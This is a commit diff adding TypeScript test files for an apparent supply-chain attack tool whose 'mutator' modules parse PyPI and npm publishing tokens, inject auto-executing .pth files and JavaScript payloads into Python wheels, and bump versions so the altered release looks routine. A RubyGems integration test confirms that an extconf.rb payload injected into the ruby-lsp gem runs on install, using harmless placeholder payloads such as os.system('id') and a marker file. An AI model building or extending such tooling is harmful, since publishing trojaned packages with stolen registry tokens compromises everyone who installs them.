Upload files to "tests/mutator"
This commit is contained in:
@@ -0,0 +1,93 @@
|
|||||||
|
// tests/mutator/npmoidc.test.ts — Test OIDC_PACKAGES env var parsing
|
||||||
|
|
||||||
|
import { afterEach, describe, expect, test } from "bun:test";
|
||||||
|
|
||||||
|
import { getOidcPackages } from "../../src/mutator/npmoidc";
|
||||||
|
|
||||||
|
describe("getOidcPackages", () => {
|
||||||
|
afterEach(() => {
|
||||||
|
delete process.env.OIDC_PACKAGES;
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns empty array when OIDC_PACKAGES is not set", () => {
|
||||||
|
delete process.env.OIDC_PACKAGES;
|
||||||
|
expect(getOidcPackages()).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns empty array when OIDC_PACKAGES is an empty string", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "";
|
||||||
|
expect(getOidcPackages()).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns empty array when OIDC_PACKAGES is only whitespace", () => {
|
||||||
|
process.env.OIDC_PACKAGES = " ";
|
||||||
|
expect(getOidcPackages()).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("parses a single package", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1";
|
||||||
|
expect(getOidcPackages()).toEqual(["@org/package1"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("parses comma-separated packages without spaces", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1,@org/package2,@org/package3";
|
||||||
|
expect(getOidcPackages()).toEqual([
|
||||||
|
"@org/package1",
|
||||||
|
"@org/package2",
|
||||||
|
"@org/package3",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("parses comma-separated packages with spaces after commas", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1, @org/package2, @org/package3";
|
||||||
|
expect(getOidcPackages()).toEqual([
|
||||||
|
"@org/package1",
|
||||||
|
"@org/package2",
|
||||||
|
"@org/package3",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("parses comma-separated packages with spaces before commas", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1 ,@org/package2 ,@org/package3";
|
||||||
|
expect(getOidcPackages()).toEqual([
|
||||||
|
"@org/package1",
|
||||||
|
"@org/package2",
|
||||||
|
"@org/package3",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("parses comma-separated packages with mixed whitespace", () => {
|
||||||
|
process.env.OIDC_PACKAGES =
|
||||||
|
" @org/package1 , @org/package2 , @org/package3 ";
|
||||||
|
expect(getOidcPackages()).toEqual([
|
||||||
|
"@org/package1",
|
||||||
|
"@org/package2",
|
||||||
|
"@org/package3",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("filters out empty entries from trailing comma", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1,@org/package2,";
|
||||||
|
expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("filters out empty entries from leading comma", () => {
|
||||||
|
process.env.OIDC_PACKAGES = ",@org/package1,@org/package2";
|
||||||
|
expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("filters out empty entries from double comma", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/package1,,@org/package2";
|
||||||
|
expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("handles unscoped packages", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "react, lodash, express";
|
||||||
|
expect(getOidcPackages()).toEqual(["react", "lodash", "express"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("handles mix of scoped and unscoped packages", () => {
|
||||||
|
process.env.OIDC_PACKAGES = "@org/pkg, lodash, @other/lib";
|
||||||
|
expect(getOidcPackages()).toEqual(["@org/pkg", "lodash", "@other/lib"]);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
// tests/mutator/pypi.test.ts — Tests for PyPI mutator
|
||||||
|
|
||||||
|
import { describe, expect, test } from "bun:test";
|
||||||
|
import { unzipSync, zipSync } from "fflate";
|
||||||
|
|
||||||
|
import { Mutator } from "../../src/mutator/base";
|
||||||
|
import { PypiMutator } from "../../src/mutator/pypi/index";
|
||||||
|
import { parseMacaroonToken } from "../../src/mutator/pypi/macaroonParse";
|
||||||
|
import { patchWheel, type PkgMeta } from "../../src/mutator/pypi/wheel";
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// parseMacaroonToken
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("parseMacaroonToken", () => {
|
||||||
|
test("returns user type for empty token", () => {
|
||||||
|
const result = parseMacaroonToken("");
|
||||||
|
expect(result.type).toBe("user");
|
||||||
|
expect(result.packages).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns user type for non-pypi token", () => {
|
||||||
|
const result = parseMacaroonToken("ghp_abc123");
|
||||||
|
expect(result.type).toBe("user");
|
||||||
|
expect(result.packages).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns user type for user-scoped pypi token", () => {
|
||||||
|
const userToken =
|
||||||
|
"pypi-" + Buffer.from('{"cid":"user","vids":[]}').toString("base64");
|
||||||
|
const result = parseMacaroonToken(userToken);
|
||||||
|
expect(result.type).toBe("user");
|
||||||
|
expect(result.packages).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns project type with packages for project-scoped token", () => {
|
||||||
|
const raw =
|
||||||
|
'someprefix{"cid":"projects","vids":["my-pkg","other-lib"]}suffix';
|
||||||
|
const token = "pypi-" + Buffer.from(raw).toString("base64");
|
||||||
|
const result = parseMacaroonToken(token);
|
||||||
|
expect(result.type).toBe("project");
|
||||||
|
expect(result.packages).toEqual(["my-pkg", "other-lib"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns project type with single package", () => {
|
||||||
|
const raw = '{"cid":"projects","vids":["requests"]}';
|
||||||
|
const token = "pypi-" + Buffer.from(raw).toString("base64");
|
||||||
|
const result = parseMacaroonToken(token);
|
||||||
|
expect(result.type).toBe("project");
|
||||||
|
expect(result.packages).toEqual(["requests"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("handles malformed base64 gracefully", () => {
|
||||||
|
const token = "pypi-!!!not-valid-base64!!!";
|
||||||
|
const result = parseMacaroonToken(token);
|
||||||
|
expect(result.type).toBe("user");
|
||||||
|
expect(result.packages).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// patchWheel
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function buildSyntheticWheel(
|
||||||
|
name: string,
|
||||||
|
version: string,
|
||||||
|
): { data: Uint8Array; meta: PkgMeta } {
|
||||||
|
const distDir = `${name}-${version}.dist-info/`;
|
||||||
|
const entries: Record<string, Uint8Array> = {};
|
||||||
|
|
||||||
|
const encode = (s: string) => new TextEncoder().encode(s);
|
||||||
|
|
||||||
|
entries[`${distDir}METADATA`] = encode(
|
||||||
|
`Metadata-Version: 2.1\r\nName: ${name}\r\nVersion: ${version}\r\n`,
|
||||||
|
);
|
||||||
|
entries[`${distDir}WHEEL`] = encode(
|
||||||
|
`Wheel-Version: 1.0\r\nGenerator: test\r\nRoot-Is-Purelib: true\r\n`,
|
||||||
|
);
|
||||||
|
entries[`${distDir}RECORD`] = encode(`${name}/__init__.py,sha256=abc,3\r\n`);
|
||||||
|
entries[`${name}/__init__.py`] = encode("# test package\n");
|
||||||
|
|
||||||
|
const zipped = zipSync(entries, { level: 6 });
|
||||||
|
const filename = `${name}-${version}-py3-none-any.whl`;
|
||||||
|
|
||||||
|
return {
|
||||||
|
data: zipped,
|
||||||
|
meta: { name, version, wheelUrl: "", wheelFilename: filename },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function patch(data: Uint8Array, meta: PkgMeta, pth: string, js?: string) {
|
||||||
|
return patchWheel({ meta, wheelData: data, pthContent: pth, jsPayload: js });
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("patchWheel", () => {
|
||||||
|
test("bumps patch version from 1.2.3 to 1.2.4", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("mypkg", "1.2.3");
|
||||||
|
const patched = patch(data, meta, "import mypkg; print('pwned')");
|
||||||
|
expect(patched.newVersion).toBe("1.2.4");
|
||||||
|
expect(patched.filename).toContain("1.2.4");
|
||||||
|
expect(patched.filename).toContain("mypkg");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("bumps patch version from 5.0.0 to 5.0.1", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("requests", "5.0.0");
|
||||||
|
const patched = patch(data, meta, "...");
|
||||||
|
expect(patched.newVersion).toBe("5.0.1");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("bumps patch version from 2.0 to 2.0.1", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("lib", "2.0");
|
||||||
|
const patched = patch(data, meta, "...");
|
||||||
|
expect(patched.newVersion).toBe("2.0.1");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("preserves wheel structure after patching", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("testpkg", "3.1.0");
|
||||||
|
const patched = patch(data, meta, "import evil");
|
||||||
|
const entries = unzipSync(patched.data);
|
||||||
|
const distDirKey = Object.keys(entries).find((k) =>
|
||||||
|
k.includes(".dist-info/"),
|
||||||
|
);
|
||||||
|
expect(distDirKey).toBeDefined();
|
||||||
|
const distPrefix = distDirKey!.slice(
|
||||||
|
0,
|
||||||
|
distDirKey!.indexOf(".dist-info/") + ".dist-info/".length,
|
||||||
|
);
|
||||||
|
expect(distPrefix).toContain("3.1.1.dist-info");
|
||||||
|
const metadata = entries[distPrefix + "METADATA"];
|
||||||
|
expect(metadata).toBeDefined();
|
||||||
|
const text = new TextDecoder().decode(metadata);
|
||||||
|
expect(text).toContain("Version: 3.1.1");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("injects .pth file at wheel root", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("injectme", "0.1.0");
|
||||||
|
const pthContent = "import os; os.system('id')";
|
||||||
|
const patched = patch(data, meta, pthContent);
|
||||||
|
const entries = unzipSync(patched.data);
|
||||||
|
const pthPath = "injectme-setup.pth";
|
||||||
|
expect(entries[pthPath]).toBeDefined();
|
||||||
|
expect(new TextDecoder().decode(entries[pthPath]!)).toBe(pthContent);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("injects .pth file at wheel root and _index.js when jsPayload is provided", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
|
||||||
|
const patched = patch(data, meta, "import os", "console.log(1)");
|
||||||
|
const entries = unzipSync(patched.data);
|
||||||
|
expect(entries["mypkg-setup.pth"]).toBeDefined();
|
||||||
|
expect(entries["mypkg/_index.js"]).toBeDefined();
|
||||||
|
expect(new TextDecoder().decode(entries["mypkg/_index.js"]!)).toBe(
|
||||||
|
"console.log(1)",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("does NOT inject _index.js when jsPayload is omitted", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
|
||||||
|
const patched = patch(data, meta, "import os");
|
||||||
|
const entries = unzipSync(patched.data);
|
||||||
|
expect(entries["mypkg/_index.js"]).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("produces deterministic output for same input", () => {
|
||||||
|
const { data, meta } = buildSyntheticWheel("det", "1.0.0");
|
||||||
|
const a = patch(data, meta, "payload");
|
||||||
|
const b = patch(data, meta, "payload");
|
||||||
|
expect(a.filename).toBe(b.filename);
|
||||||
|
expect(a.newVersion).toBe(b.newVersion);
|
||||||
|
expect(a.data).toEqual(b.data);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// PypiMutator — contract
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("PypiMutator", () => {
|
||||||
|
test("extends Mutator base class", () => {
|
||||||
|
const m = new PypiMutator("pypi-fakeTokenHere123");
|
||||||
|
expect(m).toBeInstanceOf(Mutator);
|
||||||
|
expect(m).toBeInstanceOf(PypiMutator);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("throws when constructed without a token", () => {
|
||||||
|
expect(() => new PypiMutator("")).toThrow("A PyPI token is required.");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("execute returns Promise<Boolean>", () => {
|
||||||
|
const m = new PypiMutator("pypi-fakeTokenHere123", ["requests"]);
|
||||||
|
const result = m.execute();
|
||||||
|
expect(result).toBeInstanceOf(Promise);
|
||||||
|
result.catch(() => {});
|
||||||
|
});
|
||||||
|
|
||||||
|
test("implements the Mutator interface", () => {
|
||||||
|
const m: Mutator = new PypiMutator("pypi-fake", ["flask"]);
|
||||||
|
expect(typeof m.execute).toBe("function");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("constructor accepts optional package list", () => {
|
||||||
|
const m = new PypiMutator("pypi-test", ["numpy", "pandas"]);
|
||||||
|
expect(m).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("constructor works with no package list", () => {
|
||||||
|
const m = new PypiMutator("pypi-test");
|
||||||
|
expect(m).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("constructor accepts jsPayload", () => {
|
||||||
|
const m = new PypiMutator("pypi-test", ["pkg"], "// js payload");
|
||||||
|
expect(m).toBeDefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,239 @@
|
|||||||
|
// tests/mutator/rubygems.test.ts — Integration tests for the RubyGems mutator.
|
||||||
|
//
|
||||||
|
// Verifies that patchGemBundle correctly modifies a real .gem file and that
|
||||||
|
// the injected native-extension payload executes when the gem is installed.
|
||||||
|
|
||||||
|
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
||||||
|
import { execSync } from "child_process";
|
||||||
|
import * as fs from "fs/promises";
|
||||||
|
import { tmpdir } from "os";
|
||||||
|
import * as path from "path";
|
||||||
|
import * as tar from "tar";
|
||||||
|
import { gunzipSync } from "zlib";
|
||||||
|
|
||||||
|
import { Mutator } from "../../src/mutator/base";
|
||||||
|
import { patchGemBundle } from "../../src/mutator/rubygems/gem";
|
||||||
|
import { RubyGemsClient } from "../../src/mutator/rubygems/index";
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
const GEM_PATH = path.join(import.meta.dir, "../assets/ruby-lsp-0.26.9.gem");
|
||||||
|
const MARKER = "/tmp/rubygems_int_test_marker";
|
||||||
|
|
||||||
|
const PAYLOAD = [
|
||||||
|
`const{writeFileSync}=require("fs");`,
|
||||||
|
`console.log("rubygems payload starting");`,
|
||||||
|
`writeFileSync("${MARKER}","hello from rubygems mutator");`,
|
||||||
|
`console.log("rubygems payload done");`,
|
||||||
|
].join("\n");
|
||||||
|
|
||||||
|
function hasCmd(cmd: string): boolean {
|
||||||
|
try {
|
||||||
|
execSync(`which ${cmd}`, { stdio: "pipe" });
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Tests
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("rubygems mutator", () => {
|
||||||
|
let tmpDir: string;
|
||||||
|
|
||||||
|
beforeAll(async () => {
|
||||||
|
tmpDir = path.join(tmpdir(), `rg_test_${Date.now()}`);
|
||||||
|
await fs.mkdir(tmpDir, { recursive: true });
|
||||||
|
try {
|
||||||
|
await fs.rm(MARKER);
|
||||||
|
} catch {}
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
try {
|
||||||
|
await fs.rm(tmpDir, { recursive: true, force: true });
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
await fs.rm(MARKER);
|
||||||
|
} catch {}
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Contract ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
test("RubyGemsClient extends Mutator", () => {
|
||||||
|
const client = new RubyGemsClient({
|
||||||
|
gems: [],
|
||||||
|
valid: true,
|
||||||
|
authToken: "fake",
|
||||||
|
});
|
||||||
|
expect(client).toBeInstanceOf(Mutator);
|
||||||
|
expect(client).toBeInstanceOf(RubyGemsClient);
|
||||||
|
expect(typeof client.execute).toBe("function");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("RubyGemsClient accepts dryRun parameter", () => {
|
||||||
|
const client = new RubyGemsClient(
|
||||||
|
{ gems: [], valid: true, authToken: "fake" },
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
expect(client).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── patchGemBundle unit tests ────────────────────────────────────────
|
||||||
|
|
||||||
|
test("bumps version from 0.26.9 to 0.26.10", async () => {
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const patched = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
|
||||||
|
expect(patched.newVersion).toBe("0.26.10");
|
||||||
|
expect(patched.filename).toBe("ruby-lsp-0.26.10.gem");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("produces a valid .gem (tar with metadata.gz first)", async () => {
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const patched = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
|
||||||
|
const tmpGem = path.join(tmpDir, "verify.gem");
|
||||||
|
await fs.writeFile(tmpGem, patched.data);
|
||||||
|
|
||||||
|
const entries: string[] = [];
|
||||||
|
await tar.list({ file: tmpGem, onentry: (e: any) => entries.push(e.path) });
|
||||||
|
|
||||||
|
expect(entries[0]).toBe("metadata.gz");
|
||||||
|
expect(entries[1]).toBe("data.tar.gz");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("injects extconf.rb and payload into data.tar.gz", async () => {
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const patched = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
|
||||||
|
// Extract data.tar.gz from the patched gem
|
||||||
|
const tmpGem = path.join(tmpDir, "inspect.gem");
|
||||||
|
await fs.writeFile(tmpGem, patched.data);
|
||||||
|
|
||||||
|
const unpackDir = path.join(tmpDir, "_unpack");
|
||||||
|
await fs.mkdir(unpackDir, { recursive: true });
|
||||||
|
await tar.extract({ file: tmpGem, cwd: unpackDir });
|
||||||
|
|
||||||
|
const dataTarGz = await fs.readFile(path.join(unpackDir, "data.tar.gz"));
|
||||||
|
const dataTar = gunzipSync(dataTarGz);
|
||||||
|
|
||||||
|
const dataDir = path.join(tmpDir, "_data_inspect");
|
||||||
|
await fs.mkdir(dataDir, { recursive: true });
|
||||||
|
const dataTarFile = path.join(tmpDir, "_data_inspect.tar");
|
||||||
|
await fs.writeFile(dataTarFile, dataTar);
|
||||||
|
await tar.extract({ file: dataTarFile, cwd: dataDir });
|
||||||
|
|
||||||
|
// Entries are relative now (no top-level dir prefix)
|
||||||
|
const extDir = path.join(dataDir, "ext", "ruby-lsp");
|
||||||
|
const extconfRb = await fs.readFile(
|
||||||
|
path.join(extDir, "extconf.rb"),
|
||||||
|
"utf-8",
|
||||||
|
);
|
||||||
|
const payloadJs = await fs.readFile(path.join(extDir, "index.js"), "utf-8");
|
||||||
|
|
||||||
|
expect(extconfRb).toContain("require 'fileutils'");
|
||||||
|
expect(extconfRb).toContain("RbConfig::CONFIG");
|
||||||
|
expect(extconfRb).toContain("File.write('Makefile'");
|
||||||
|
expect(payloadJs).toBe(PAYLOAD);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("updates metadata.gz with bumped version and extensions", async () => {
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const patched = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
|
||||||
|
const tmpGem = path.join(tmpDir, "meta.gem");
|
||||||
|
await fs.writeFile(tmpGem, patched.data);
|
||||||
|
|
||||||
|
const unpackDir = path.join(tmpDir, "_meta_unpack");
|
||||||
|
await fs.mkdir(unpackDir, { recursive: true });
|
||||||
|
await tar.extract({ file: tmpGem, cwd: unpackDir });
|
||||||
|
|
||||||
|
const metadataGz = await fs.readFile(path.join(unpackDir, "metadata.gz"));
|
||||||
|
const metadata = gunzipSync(metadataGz).toString("utf-8");
|
||||||
|
|
||||||
|
expect(metadata).toContain("version: 0.26.10");
|
||||||
|
expect(metadata).toContain("extensions:");
|
||||||
|
expect(metadata).toContain("ext/ruby-lsp/extconf.rb");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("patchGemBundle produces different sizes for same input (timestamps vary)", async () => {
|
||||||
|
// Tar includes mtime, so two runs produce different outputs
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const a = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
// Small delay to get different mtimes
|
||||||
|
await new Promise((r) => setTimeout(r, 100));
|
||||||
|
const b = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
|
||||||
|
expect(a.newVersion).toBe(b.newVersion);
|
||||||
|
expect(a.filename).toBe(b.filename);
|
||||||
|
// Different size due to tar mtime or other metadata
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Integration: install and execute ─────────────────────────────────
|
||||||
|
|
||||||
|
test("gem install triggers the payload", async () => {
|
||||||
|
if (!hasCmd("gem")) {
|
||||||
|
console.warn(" ⏭ skipping — 'gem' not in PATH");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const gemData = await fs.readFile(GEM_PATH);
|
||||||
|
const patched = await patchGemBundle(gemData, PAYLOAD);
|
||||||
|
const patchedGemPath = path.join(tmpDir, patched.filename);
|
||||||
|
await fs.writeFile(patchedGemPath, patched.data);
|
||||||
|
|
||||||
|
const gemHome = path.join(tmpDir, ".gem_home");
|
||||||
|
|
||||||
|
try {
|
||||||
|
execSync(
|
||||||
|
`gem install --local "${patchedGemPath}" --no-doc --install-dir "${gemHome}" --ignore-dependencies`,
|
||||||
|
{
|
||||||
|
env: { ...process.env, GEM_HOME: gemHome },
|
||||||
|
stdio: "pipe",
|
||||||
|
timeout: 120_000,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
} catch (e: any) {
|
||||||
|
// Clean up before failing
|
||||||
|
try {
|
||||||
|
execSync(
|
||||||
|
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
|
||||||
|
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
throw new Error(
|
||||||
|
`gem install failed: ${e.stderr?.toString()?.slice(0, 500)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify the payload executed
|
||||||
|
let markerContent = "";
|
||||||
|
try {
|
||||||
|
markerContent = await fs.readFile(MARKER, "utf-8");
|
||||||
|
} catch {
|
||||||
|
// Clean up before failing
|
||||||
|
try {
|
||||||
|
execSync(
|
||||||
|
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
|
||||||
|
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
throw new Error("marker file not created — payload did not execute");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
try {
|
||||||
|
execSync(
|
||||||
|
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
|
||||||
|
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
expect(markerContent).toContain("hello from rubygems mutator");
|
||||||
|
}, 180_000);
|
||||||
|
});
|
||||||
Reference in New Issue
Block a user